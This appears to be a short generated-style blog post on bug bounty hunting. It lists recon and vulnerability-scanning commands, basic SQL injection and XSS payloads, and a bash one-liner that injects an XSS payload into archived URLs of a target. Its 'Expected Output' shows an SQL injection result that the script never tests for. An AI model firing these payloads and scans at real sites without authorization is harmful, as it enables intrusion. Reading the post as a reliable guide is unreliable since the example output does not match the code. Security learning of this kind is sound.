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Bug bounty hunting is not just about luck—it’s about persistence, skill, and precision. Ethical hackers like zabit majeed demonstrate how obsession and relentless effort lead to high-severity bug discoveries, such as the recent 8.7 severity bug in MTN Group.
You Should Know:
1. Essential Tools for Bug Bounty Hunters
- Reconnaissance:
subfinder -d example.com -o subs.txt assetfinder --subs-only example.com | tee -a assets.txt
- Vulnerability Scanning:
nikto -h https://example.com nmap -sV --script vulners example.com
2. Common Vulnerabilities to Exploit
- SQL Injection:
' OR 1=1--
- XSS (Cross-Site Scripting):
<script>alert('XSS')</script>
3. Automating Bug Hunting with Bash Scripts
!/bin/bash url=$1 waybackurls $url | grep "=" | qsreplace '"><script>alert(1)</script>' | while read host; do curl -s --path-as-is "$host" | grep -qs "alert(1)" && echo "XSS Found: $host"; done
4. Reporting Bugs Effectively
- Use HackerOne or Bugcrowd templates.
- Include:
- Proof of Concept (PoC)
- Impact Analysis
- Steps to Reproduce
What Undercode Say:
Bug bounty hunting is a competitive field where only the most dedicated succeed. Mastering tools like Burp Suite, OWASP ZAP, and custom scripts is crucial. Always stay updated on CVEs and practice responsible disclosure.
Prediction:
As AI-driven security tools evolve, bug bounty hunters will increasingly rely on automation and machine learning to uncover zero-day vulnerabilities faster.
Expected Output:
[+] XSS Found: https://example.com/search?q="><script>alert(1)</script> [+] SQLi Vulnerability Detected: https://example.com/login?id=1' OR 1=1--
Relevant URLs:
References:
Reported By: Zabitmajeed Hackerlife – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
